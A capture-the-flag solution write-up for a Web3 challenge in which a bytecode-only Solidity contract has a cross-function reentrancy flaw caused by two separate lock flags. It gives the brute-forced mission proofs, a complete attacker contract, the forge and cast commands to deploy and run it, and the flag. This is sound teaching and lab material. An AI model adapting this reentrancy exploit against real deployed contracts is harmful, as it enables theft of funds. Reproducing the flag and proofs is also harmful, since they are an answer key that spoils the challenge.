125 lines
3.6 KiB
Markdown
125 lines
3.6 KiB
Markdown
# GANTZ_BALL_CONTRACT — Solution
|
|
|
|
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
|
|
|
## Overview
|
|
|
|
Bytecode-only Solidity challenge. No source code is provided — you must reverse
|
|
the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by
|
|
two separate reentrancy guards instead of one global lock.
|
|
|
|
## Architecture
|
|
|
|
- Port 1337/tcp: console (commands: `info`, `bytecode`, `check`)
|
|
- Port 8545/tcp: Ethereum JSON-RPC node
|
|
|
|
## Step 1 — Reverse the bytecode
|
|
|
|
```text
|
|
bytecode
|
|
```
|
|
|
|
Decompile with Dedaub / Heimdall / Panoramix. Recover:
|
|
|
|
- `register()` — enroll as a hunter
|
|
- `claimKill(uint256 missionId, string proof)` — earn points per mission
|
|
- `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH)
|
|
- `unstake()` — withdraw ETH, restore points
|
|
- `claimReward()` — claim reward if `points + stakedPoints >= 100`
|
|
|
|
**Key finding:** the contract uses two separate guards: `_stakeLock` (protects
|
|
`stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside
|
|
`unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into
|
|
`claimReward()` before `stakedPoints` is zeroed.
|
|
|
|
## Step 2 — Find mission proofs
|
|
|
|
From contract storage, extract the four `keccak256` target hashes.
|
|
Brute-force short string preimages:
|
|
|
|
| Mission | Points | Proof |
|
|
|---------|--------|---------------|
|
|
| 0 | 20 | `onion_alien` |
|
|
| 1 | 25 | `tanaka_alien` |
|
|
| 2 | 30 | `buddha_alien` |
|
|
| 3 | 35 | `boss_alien` |
|
|
|
|
## Step 3 — Deploy attacker contract
|
|
|
|
```solidity
|
|
// SPDX-License-Identifier: MIT
|
|
pragma solidity ^0.8.20;
|
|
|
|
interface IGantzBall {
|
|
function register() external;
|
|
function claimKill(uint256 missionId, string calldata proof) external;
|
|
function stakePoints(uint256 amount) external payable;
|
|
function unstake() external;
|
|
function claimReward() external;
|
|
}
|
|
|
|
contract GantzExploit {
|
|
IGantzBall public ball;
|
|
bool private attacking;
|
|
|
|
constructor(address _ball) payable { ball = IGantzBall(_ball); }
|
|
|
|
function exploit() external {
|
|
ball.register();
|
|
ball.claimKill(0, "onion_alien"); // +20 → 20 pts
|
|
ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts
|
|
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
|
|
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
|
|
|
|
ball.stakePoints{value: 0.1 ether}(100);
|
|
// Now: points=10, stakedPoints=100
|
|
|
|
attacking = true;
|
|
ball.unstake();
|
|
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes
|
|
}
|
|
|
|
receive() external payable {
|
|
if (attacking) {
|
|
attacking = false;
|
|
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy
|
|
ball.claimReward();
|
|
// points(10) + stakedPoints(100) = 110 >= 100 ✓
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
```bash
|
|
forge create GantzExploit \
|
|
--constructor-args <BALL_ADDR> \
|
|
--value 0.2ether \
|
|
--rpc-url http://<HOST>:8545 \
|
|
--private-key <PLAYER_KEY>
|
|
|
|
cast send <EXPLOIT_ADDR> 'exploit()' \
|
|
--rpc-url http://<HOST>:8545 \
|
|
--private-key <PLAYER_KEY>
|
|
```
|
|
|
|
## Step 4 — Get the flag
|
|
|
|
```text
|
|
check
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
- **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes
|
|
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries
|
|
- **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules
|
|
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
|
|
|
|
## Flag
|
|
|
|
`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
|
|
|
## Author
|
|
|
|
Eun0us
|